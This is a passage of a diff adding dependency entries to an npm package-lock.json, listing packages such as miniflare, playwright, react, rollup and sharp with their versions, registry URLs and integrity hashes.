}, 3312 + "node_modules/magic-string": { 3313 + "version": "0.30.21", 3314 + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", 3315 + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", 3316 + "dev": true, 3317 + "license": "MIT", 3318 + "dependencies": { 3319 + "@jridgewell/sourcemap-codec": "^1.5.5" 3320 + } 3321 + }, 3322 + "node_modules/merge-stream": { 3323 + "version": "2.0.0", 3324 + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", 3325 + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", 3326 + "license": "MIT", 3327 + "peer": true 3328 + }, 3329 + "node_modules/mime-db": { 3330 + "version": "1.52.0", 3331 + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 3332 + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", 3333 + "license": "MIT", 3334 + "peer": true, 3335 + "engines": { 3336 + "node": ">= 0.6" 3337 + } 3338 + }, 3339 + "node_modules/mime-types": { 3340 + "version": "2.1.35", 3341 + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 3342 + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 3343 + "license": "MIT", 3344 + "peer": true, 3345 + "dependencies": { 3346 + "mime-db": "1.52.0" 3347 + }, 3348 + "engines": { 3349 + "node": ">= 0.6" 3350 + } 3351 + }, 3352 + "node_modules/miniflare": { 3353 + "version": "4.20251210.0", 3354 + "resolved": "https://registry.npmjs.org/miniflare/-/miniflare-4.20251210.0.tgz", 3355 + "integrity": "sha512-k6kIoXwGVqlPZb0hcn+X7BmnK+8BjIIkusQPY22kCo2RaQJ/LzAjtxHQdGXerlHSnJyQivDQsL6BJHMpQfUFyw==", 3356 + "dev": true, 3357 + "license": "MIT", 3358 + "dependencies": { 3359 + "@cspotcode/source-map-support": "0.8.1", 3360 + "acorn": "8.14.0", 3361 + "acorn-walk": "8.3.2", 3362 + "exit-hook": "2.2.1", 3363 + "glob-to-regexp": "0.4.1", 3364 + "sharp": "^0.33.5", 3365 + "stoppable": "1.1.0", 3366 + "undici": "7.14.0", 3367 + "workerd": "1.20251210.0", 3368 + "ws": "8.18.0", 3369 + "youch": "4.1.0-beta.10", 3370 + "zod": "3.22.3" 3371 + }, 3372 + "bin": { 3373 + "miniflare": "bootstrap.js" 3374 + }, 3375 + "engines": { 3376 + "node": ">=18.0.0" 3377 + } 3378 + }, 3379 + "node_modules/miniflare/node_modules/acorn": { 3380 + "version": "8.14.0", 3381 + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz", 3382 + "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==", 3383 + "dev": true, 3384 + "license": "MIT", 3385 + "bin": { 3386 + "acorn": "bin/acorn" 3387 + }, 3388 + "engines": { 3389 + "node": ">=0.4.0" 3390 + } 3391 + }, 3392 + "node_modules/miniflare/node_modules/ws": { 3393 + "version": "8.18.0", 3394 + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", 3395 + "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", 3396 + "dev": true, 3397 + "license": "MIT", 3398 + "engines": { 3399 + "node": ">=10.0.0" 3400 + }, 3401 + "peerDependencies": { 3402 + "bufferutil": "^4.0.1", 3403 + "utf-8-validate": ">=5.0.2" 3404 + }, 3405 + "peerDependenciesMeta": { 3406 + "bufferutil": { 3407 + "optional": true 3408 + }, 3409 + "utf-8-validate": { 3410 + "optional": true 3411 + } 3412 + } 3413 + }, 3414 + "node_modules/mrmime": { 3415 + "version": "2.0.1", 3416 + "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-2.0.1.tgz", 3417 + "integrity": "sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==", 3418 + "dev": true, 3419 + "license": "MIT", 3420 + "engines": { 3421 + "node": ">=10" 3422 + } 3423 + }, 3424 + "node_modules/ms": { 3425 + "version": "2.1.3", 3426 + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", 3427 + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", 3428 + "dev": true, 3429 + "license": "MIT" 3430 + }, 3431 + "node_modules/nanoid": { 3432 + "version": "3.3.11", 3433 + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", 3434 + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", 3435 + "dev": true, 3436 + "funding": [ 3437 + { 3438 + "type": "github", 3439 + "url": "https://github.com/sponsors/ai" 3440 + } 3441 + ], 3442 + "license": "MIT", 3443 + "bin": { 3444 + "nanoid": "bin/nanoid.cjs" 3445 + }, 3446 + "engines": { 3447 + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" 3448 + } 3449 + }, 3450 + "node_modules/neo-async": { 3451 + "version": "2.6.2", 3452 + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", 3453 + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", 3454 + "license": "MIT" 3455 + }, 3456 + "node_modules/node-releases": { 3457 + "version": "2.0.27", 3458 + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", 3459 + "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", 3460 + "license": "MIT" 3461 + }, 3462 + "node_modules/obug": { 3463 + "version": "2.1.1", 3464 + "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz", 3465 + "integrity": "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==", 3466 + "dev": true, 3467 + "funding": [ 3468 + "https://github.com/sponsors/sxzz", 3469 + "https://opencollective.com/debug" 3470 + ], 3471 + "license": "MIT" 3472 + }, 3473 + "node_modules/pathe": { 3474 + "version": "2.0.3", 3475 + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", 3476 + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", 3477 + "dev": true, 3478 + "license": "MIT" 3479 + }, 3480 + "node_modules/picocolors": { 3481 + "version": "1.1.1", 3482 + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", 3483 + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", 3484 + "license": "ISC" 3485 + }, 3486 + "node_modules/picomatch": { 3487 + "version": "4.0.3", 3488 + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", 3489 + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", 3490 + "dev": true, 3491 + "license": "MIT", 3492 + "engines": { 3493 + "node": ">=12" 3494 + }, 3495 + "funding": { 3496 + "url": "https://github.com/sponsors/jonschlinkert" 3497 + } 3498 + }, 3499 + "node_modules/pixelmatch": { 3500 + "version": "7.1.0", 3501 + "resolved": "https://registry.npmjs.org/pixelmatch/-/pixelmatch-7.1.0.tgz", 3502 + "integrity": "sha512-1wrVzJ2STrpmONHKBy228LM1b84msXDUoAzVEl0R8Mz4Ce6EPr+IVtxm8+yvrqLYMHswREkjYFaMxnyGnaY3Ng==", 3503 + "dev": true, 3504 + "license": "ISC", 3505 + "dependencies": { 3506 + "pngjs": "^7.0.0" 3507 + }, 3508 + "bin": { 3509 + "pixelmatch": "bin/pixelmatch" 3510 + } 3511 + }, 3512 + "node_modules/playwright": { 3513 + "version": "1.57.0", 3514 + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.57.0.tgz", 3515 + "integrity": "sha512-ilYQj1s8sr2ppEJ2YVadYBN0Mb3mdo9J0wQ+UuDhzYqURwSoW4n1Xs5vs7ORwgDGmyEh33tRMeS8KhdkMoLXQw==", 3516 + "dev": true, 3517 + "license": "Apache-2.0", 3518 + "dependencies": { 3519 + "playwright-core": "1.57.0" 3520 + }, 3521 + "bin": { 3522 + "playwright": "cli.js" 3523 + }, 3524 + "engines": { 3525 + "node": ">=18" 3526 + }, 3527 + "optionalDependencies": { 3528 + "fsevents": "2.3.2" 3529 + } 3530 + }, 3531 + "node_modules/playwright-core": { 3532 + "version": "1.57.0", 3533 + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.57.0.tgz", 3534 + "integrity": "sha512-agTcKlMw/mjBWOnD6kFZttAAGHgi/Nw0CZ2o6JqWSbMlI219lAFLZZCyqByTsvVAJq5XA5H8cA6PrvBRpBWEuQ==", 3535 + "dev": true, 3536 + "license": "Apache-2.0", 3537 + "bin": { 3538 + "playwright-core": "cli.js" 3539 + }, 3540 + "engines": { 3541 + "node": ">=18" 3542 + } 3543 + }, 3544 + "node_modules/pngjs": { 3545 + "version": "7.0.0", 3546 + "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-7.0.0.tgz", 3547 + "integrity": "sha512-LKWqWJRhstyYo9pGvgor/ivk2w94eSjE3RGVuzLGlr3NmD8bf7RcYGze1mNdEHRP6TRP6rMuDHk5t44hnTRyow==", 3548 + "dev": true, 3549 + "license": "MIT", 3550 + "engines": { 3551 + "node": ">=14.19.0" 3552 + } 3553 + }, 3554 + "node_modules/postcss": { 3555 + "version": "8.5.6", 3556 + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", 3557 + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", 3558 + "dev": true, 3559 + "funding": [ 3560 + { 3561 + "type": "opencollective", 3562 + "url": "https://opencollective.com/postcss/" 3563 + }, 3564 + { 3565 + "type": "tidelift", 3566 + "url": "https://tidelift.com/funding/github/npm/postcss" 3567 + }, 3568 + { 3569 + "type": "github", 3570 + "url": "https://github.com/sponsors/ai" 3571 + } 3572 + ], 3573 + "license": "MIT", 3574 + "dependencies": { 3575 + "nanoid": "^3.3.11", 3576 + "picocolors": "^1.1.1", 3577 + "source-map-js": "^1.2.1" 3578 + }, 3579 + "engines": { 3580 + "node": "^10 || ^12 || >=14" 3581 + } 3582 + }, 3583 + "node_modules/randombytes": { 3584 + "version": "2.1.0", 3585 + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", 3586 + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", 3587 + "license": "MIT", 3588 + "peer": true, 3589 + "dependencies": { 3590 + "safe-buffer": "^5.1.0" 3591 + } 3592 + }, 3593 + "node_modules/react": { 3594 + "version": "19.2.3", 3595 + "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", 3596 + "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==", 3597 + "license": "MIT", 3598 + "engines": { 3599 + "node": ">=0.10.0" 3600 + } 3601 + }, 3602 + "node_modules/react-dom": { 3603 + "version": "19.2.3", 3604 + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz", 3605 + "integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==", 3606 + "license": "MIT", 3607 + "dependencies": { 3608 + "scheduler": "^0.27.0" 3609 + }, 3610 + "peerDependencies": { 3611 + "react": "^19.2.3" 3612 + } 3613 + }, 3614 + "node_modules/react-refresh": { 3615 + "version": "0.18.0", 3616 + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", 3617 + "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", 3618 + "dev": true, 3619 + "license": "MIT", 3620 + "engines": { 3621 + "node": ">=0.10.0" 3622 + } 3623 + }, 3624 + "node_modules/react-server-dom-webpack": { 3625 + "version": "19.2.3", 3626 + "resolved": "https://registry.npmjs.org/react-server-dom-webpack/-/react-server-dom-webpack-19.2.3.tgz", 3627 + "integrity": "sha512-ifo7aqqdNJyV6U2zuvvWX4rRQ51pbleuUFNG7ZYhIuSuWZzQPbfmYv11GNsyJm/3uGNbt8buJ9wmoISn/uOAfw==", 3628 + "license": "MIT", 3629 + "dependencies": { 3630 + "acorn-loose": "^8.3.0", 3631 + "neo-async": "^2.6.1", 3632 + "webpack-sources": "^3.2.0" 3633 + }, 3634 + "engines": { 3635 + "node": ">=0.10.0" 3636 + }, 3637 + "peerDependencies": { 3638 + "react": "^19.2.3", 3639 + "react-dom": "^19.2.3", 3640 + "webpack": "^5.59.0" 3641 + } 3642 + }, 3643 + "node_modules/require-from-string": { 3644 + "version": "2.0.2", 3645 + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", 3646 + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", 3647 + "license": "MIT", 3648 + "peer": true, 3649 + "engines": { 3650 + "node": ">=0.10.0" 3651 + } 3652 + }, 3653 + "node_modules/rolldown": { 3654 + "version": "1.0.0-beta.54", 3655 + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.0-beta.54.tgz", 3656 + "integrity": "sha512-3lIvjCWgjPL3gmiATUdV1NeVBGJZy6FdtwgLPol25tAkn46Q/MsVGfCSNswXwFOxGrxglPaN20IeALSIFuFyEg==", 3657 + "dev": true, 3658 + "license": "MIT", 3659 + "dependencies": { 3660 + "@oxc-project/types": "=0.102.0", 3661 + "@rolldown/pluginutils": "1.0.0-beta.54" 3662 + }, 3663 + "bin": { 3664 + "rolldown": "bin/cli.mjs" 3665 + }, 3666 + "engines": { 3667 + "node": "^20.19.0 || >=22.12.0" 3668 + }, 3669 + "optionalDependencies": { 3670 + "@rolldown/binding-android-arm64": "1.0.0-beta.54", 3671 + "@rolldown/binding-darwin-arm64": "1.0.0-beta.54", 3672 + "@rolldown/binding-darwin-x64": "1.0.0-beta.54", 3673 + "@rolldown/binding-freebsd-x64": "1.0.0-beta.54", 3674 + "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-beta.54", 3675 + "@rolldown/binding-linux-arm64-gnu": "1.0.0-beta.54", 3676 + "@rolldown/binding-linux-arm64-musl": "1.0.0-beta.54", 3677 + "@rolldown/binding-linux-x64-gnu": "1.0.0-beta.54", 3678 + "@rolldown/binding-linux-x64-musl": "1.0.0-beta.54", 3679 + "@rolldown/binding-openharmony-arm64": "1.0.0-beta.54", 3680 + "@rolldown/binding-wasm32-wasi": "1.0.0-beta.54", 3681 + "@rolldown/binding-win32-arm64-msvc": "1.0.0-beta.54", 3682 + "@rolldown/binding-win32-x64-msvc": "1.0.0-beta.54" 3683 + } 3684 + }, 3685 + "node_modules/rolldown/node_modules/@rolldown/pluginutils": { 3686 + "version": "1.0.0-beta.54", 3687 + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.54.tgz", 3688 + "integrity": "sha512-AHgcZ+w7RIRZ65ihSQL8YuoKcpD9Scew4sEeP1BBUT9QdTo6KjwHrZZXjID6nL10fhKessCH6OPany2QKwAwTQ==", 3689 + "dev": true, 3690 + "license": "MIT" 3691 + }, 3692 + "node_modules/rollup": { 3693 + "version": "4.53.4", 3694 + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.53.4.tgz", 3695 + "integrity": "sha512-YpXaaArg0MvrnJpvduEDYIp7uGOqKXbH9NsHGQ6SxKCOsNAjZF018MmxefFUulVP2KLtiGw1UvZbr+/ekjvlDg==", 3696 + "dev": true, 3697 + "license": "MIT", 3698 + "dependencies": { 3699 + "@types/estree": "1.0.8" 3700 + }, 3701 + "bin": { 3702 + "rollup": "dist/bin/rollup" 3703 + }, 3704 + "engines": { 3705 + "node": ">=18.0.0", 3706 + "npm": ">=8.0.0" 3707 + }, 3708 + "optionalDependencies": { 3709 + "@rollup/rollup-android-arm-eabi": "4.53.4", 3710 + "@rollup/rollup-android-arm64": "4.53.4", 3711 + "@rollup/rollup-darwin-arm64": "4.53.4", 3712 + "@rollup/rollup-darwin-x64": "4.53.4", 3713 + "@rollup/rollup-freebsd-arm64": "4.53.4", 3714 + "@rollup/rollup-freebsd-x64": "4.53.4", 3715 + "@rollup/rollup-linux-arm-gnueabihf": "4.53.4", 3716 + "@rollup/rollup-linux-arm-musleabihf": "4.53.4", 3717 + "@rollup/rollup-linux-arm64-gnu": "4.53.4", 3718 + "@rollup/rollup-linux-arm64-musl": "4.53.4", 3719 + "@rollup/rollup-linux-loong64-gnu": "4.53.4", 3720 + "@rollup/rollup-linux-ppc64-gnu": "4.53.4", 3721 + "@rollup/rollup-linux-riscv64-gnu": "4.53.4", 3722 + "@rollup/rollup-linux-riscv64-musl": "4.53.4", 3723 + "@rollup/rollup-linux-s390x-gnu": "4.53.4", 3724 + "@rollup/rollup-linux-x64-gnu": "4.53.4", 3725 + "@rollup/rollup-linux-x64-musl": "4.53.4", 3726 + "@rollup/rollup-openharmony-arm64": "4.53.4", 3727 + "@rollup/rollup-win32-arm64-msvc": "4.53.4", 3728 + "@rollup/rollup-win32-ia32-msvc": "4.53.4", 3729 + "@rollup/rollup-win32-x64-gnu": "4.53.4", 3730 + "@rollup/rollup-win32-x64-msvc": "4.53.4", 3731 + "fsevents": "~2.3.2" 3732 + } 3733 + }, 3734 + "node_modules/safe-buffer": { 3735 + "version": "5.2.1", 3736 + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 3737 + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", 3738 + "funding": [ 3739 + { 3740 + "type": "github", 3741 + "url": "https://github.com/sponsors/feross" 3742 + }, 3743 + { 3744 + "type": "patreon", 3745 + "url": "https://www.patreon.com/feross" 3746 + }, 3747 + { 3748 + "type": "consulting", 3749 + "url": "https://feross.org/support" 3750 + } 3751 + ], 3752 + "license": "MIT", 3753 + "peer": true 3754 + }, 3755 + "node_modules/scheduler": { 3756 + "version": "0.27.0", 3757 + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", 3758 + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", 3759 + "license": "MIT" 3760 + }, 3761 + "node_modules/schema-utils": { 3762 + "version": "4.3.3", 3763 + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.3.3.tgz", 3764 + "integrity": "sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==", 3765 + "license": "MIT", 3766 + "peer": true, 3767 + "dependencies": { 3768 + "@types/json-schema": "^7.0.9", 3769 + "ajv": "^8.9.0", 3770 + "ajv-formats": "^2.1.1", 3771 + "ajv-keywords": "^5.1.0" 3772 + }, 3773 + "engines": { 3774 + "node": ">= 10.13.0" 3775 + }, 3776 + "funding": { 3777 + "type": "opencollective", 3778 + "url": "https://opencollective.com/webpack" 3779 + } 3780 + }, 3781 + "node_modules/semver": { 3782 + "version": "6.3.1", 3783 + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", 3784 + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", 3785 + "dev": true, 3786 + "license": "ISC", 3787 + "bin": { 3788 + "semver": "bin/semver.js" 3789 + } 3790 + }, 3791 + "node_modules/serialize-javascript": { 3792 + "version": "6.0.2", 3793 + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", 3794 + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", 3795 + "license": "BSD-3-Clause", 3796 + "peer": true, 3797 + "dependencies": { 3798 + "randombytes": "^2.1.0" 3799 + } 3800 + }, 3801 + "node_modules/sharp": { 3802 + "version": "0.33.5", 3803 + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.33.5.tgz", 3804 + "integrity": "sha512-haPVm1EkS9pgvHrQ/F3Xy+hgcuMV0Wm9vfIBSiwZ05k+xgb0PkBQpGsAA/oWdDobNaZTH5ppvHtzCFbnSEwHVw==", 3805 + "dev": true, 3806 + "hasInstallScript": true, 3807 + "license": "Apache-2.0", 3808 + "dependencies": { 3809 + "color": "^4.2.3", 3810 + "detect-libc": "^2.0.3", 3811 + "semver": "^7.6.3" 3812 + }, 3813 + "engines": { 3814 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 3815 + }, 3816 + "funding": { 3817 + "url": "https://opencollective.com/libvips" 3818 + }, 3819 + "optionalDependencies": { 3820 + "@img/sharp-darwin-arm64": "0.33.5", 3821 + "@img/sharp-darwin-x64": "0.33.5", 3822 + "@img/sharp-libvips-darwin-arm64": "1.0.4", 3823 + "@img/sharp-libvips-darwin-x64": "1.0.4", 3824 + "@img/sharp-libvips-linux-arm": "1.0.5", 3825 + "@img/sharp-libvips-linux-arm64": "1.0.4", 3826 + "@img/sharp-libvips-linux-s390x": "1.0.4", 3827 + "@img/sharp-libvips-linux-x64": "1.0.4", 3828 + "@img/sharp-libvips-linuxmusl-arm64": "1.0.4", 3829 + "@img/sharp-libvips-linuxmusl-x64": "1.0.4", 3830 + "@img/sharp-linux-arm": "0.33.5", 3831 + "@img/sharp-linux-arm64": "0.33.5", 3832 + "@img/sharp-linux-s390x": "0.33.5", 3833 + "@img/sharp-linux-x64": "0.33.5", 3834 + "@img/sharp-linuxmusl-arm64": "0.33.5", 3835 + "@img/sharp-linuxmusl-x64": "0.33.5", 3836 + "@img/sharp-wasm32": "0.33.5", 3837 + "@img/sharp-win32-ia32": "0.33.5", 3838 + "@img/sharp-win32-x64": "0.33.5" 3839 + } 3840 + }, 3841 + "node_modules/sharp/node_modules/semver": { 3842 + "version": "7.7.3", 3843 + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", 3844 + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", 3845 + "dev": true, 3846 + "license": "ISC", 3847 + "bin": { 3848 + "semver": "bin/semver.js" 3849 + }, 3850 + "engines": { 3851 + "node": ">=10" 3852 + } 3853 + }, 3854 + "node_modules/siginfo": { 3855 + "version": "2.0.0", 3856 + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", 3857 + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", 3858 + "dev": true, 3859 + "license": "ISC" 3860 + }, 3861 + "node_modules/simple-swizzle": { 3862 + "version": "0.2.4", 3863 + "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.4.tgz", 3864 + "integrity": "sha512-nAu1WFPQSMNr2Zn9PGSZK9AGn4t/y97lEm+MXTtUDwfP0ksAIX4nO+6ruD9Jwut4C49SB1Ws+fbXsm/yScWOHw==", 3865 + "dev": true, 3866 + "license": "MIT", 3867 + "dependencies": { 3868 + "is-arrayish": "^0.3.1" 3869 + } 3870 + }, 3871 + "node_modules/sirv": { 3872 + "version": "3.0.2", 3873 + "resolved": "https://registry.npmjs.org/sirv/-/sirv-3.0.2.tgz", 3874 + "integrity": "sha512-2wcC/oGxHis/BoHkkPwldgiPSYcpZK3JU28WoMVv55yHJgcZ8rlXvuG9iZggz+sU1d4bRgIGASwyWqjxu3FM0g==", 3875 + "dev": true, 3876 + "license": "MIT", 3877 + "dependencies": { 3878 + "@polka/url": "^1.0.0-next.24", 3879 + "mrmime": "^2.0.0", 3880 + "totalist": "^3.0.0" 3881 + }, 3882 + "engines": { 3883 + "node": ">=18" 3884 + } 3885 + }, 3886 + "node_modules/source-map": { 3887 + "version": "0.6.1", 3888 + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", 3889 + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", 3890 + "license": "BSD-3-Clause", 3891 + "peer": true, 3892 + "engines": { 3893 + "node": ">=0.10.0" 3894 + } 3895 + }, 3896 + "node_modules/source-map-js": { 3897 + "version": "1.2.1", 3898 + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", 3899 + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", 3900 + "dev": true, 3901 + "license": "BSD-3-Clause", 3902 + "engines": { 3903 + "node": ">=0.10.0" 3904 + } 3905 + }, 3906 + "node_modules/source-map-support": { 3907 + "version": "0.5.21", 3908 + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", 3909 + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", 3910 + "license": "MIT", 3911 + "peer": true, 3912 + "dependencies": { 3913 + "buffer-from": "^1.0.0", 3914 + "source-map": "^0.6.0" 3915 + } 3916 + }, 3917 + "node_modules/stackback": { 3918 + "version": "0.0.2", 3919 + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", 3920 + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", 3921 + "dev": true, 3922 + "license": "MIT" 3923 + }, 3924 + "node_modules/std-env": { 3925 + "version": "3.10.0", 3926 + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", 3927 + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", 3928 + "dev": true, 3929 + "license": "MIT" 3930 + }, 3931 + "node_modules/stoppable": { 3932 + "version": "1.1.0", 3933 + "resolved": "https://registry.npmjs.org/stoppable/-/stoppable-1.1.0.tgz", 3934 + "integrity": "sha512-KXDYZ9dszj6bzvnEMRYvxgeTHU74QBFL54XKtP3nyMuJ81CFYtABZ3bAzL2EdFUaEwJOBOgENyFj3R7oTzDyyw==", 3935 + "dev": true, 3936 + "license": "MIT", 3937 + "engines": { 3938 + "node": ">=4", 3939 + "npm": ">=6" 3940 + } 3941 + }, 3942 + "node_modules/style-mod": { 3943 + "version": "4.1.3", 3944 + "resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.1.3.tgz", 3945 + "integrity": "sha512-i/n8VsZydrugj3Iuzll8+x/00GH2vnYsk1eomD8QiRrSAeW6ItbCQDtfXCeJHd0iwiNagqjQkvpvREEPtW3IoQ==", 3946 + "license": "MIT" 3947 + }, 3948 + "node_modules/supports-color": { 3949 + "version": "8.1.1", 3950 + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", 3951 + "integrity": 